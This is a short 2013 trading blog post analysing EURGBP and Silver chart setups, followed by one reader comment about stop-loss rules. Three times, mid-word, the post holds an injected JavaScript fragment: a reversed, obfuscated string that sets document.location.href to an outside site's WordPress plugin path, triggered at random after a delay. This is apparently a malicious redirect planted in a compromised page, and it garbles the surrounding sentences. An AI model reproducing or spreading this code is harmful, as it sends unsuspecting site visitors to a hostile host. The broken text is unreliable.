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Chart Talk 14-08-13 

Last Updated: August 14, 2013

By Rayner Teo

On EURGBP daily chart, we see previous resistance turned support at 0.8580 area. Furthermore price formed a pinbar with a long tailed wick signalling strong buying interest. I would prefer the pinbar toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to close bullish but nonetheless it’s a valid setup. Potential target would be  the 0.8750 area.


The next chart is Silver. Below is a weekly chart of it and it shows that price has break above the downward trendline and the resistance level. Further more COT report shows strong bullish interest by the commercials which adds another confluence factoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tor.


The last chart here shows my ideal entry and stoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tops for the Silver trade.



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  • Hi Rayner, the stop-loss in the third chart, it’s not according to rules “2ATR” I read lately in your book, right?

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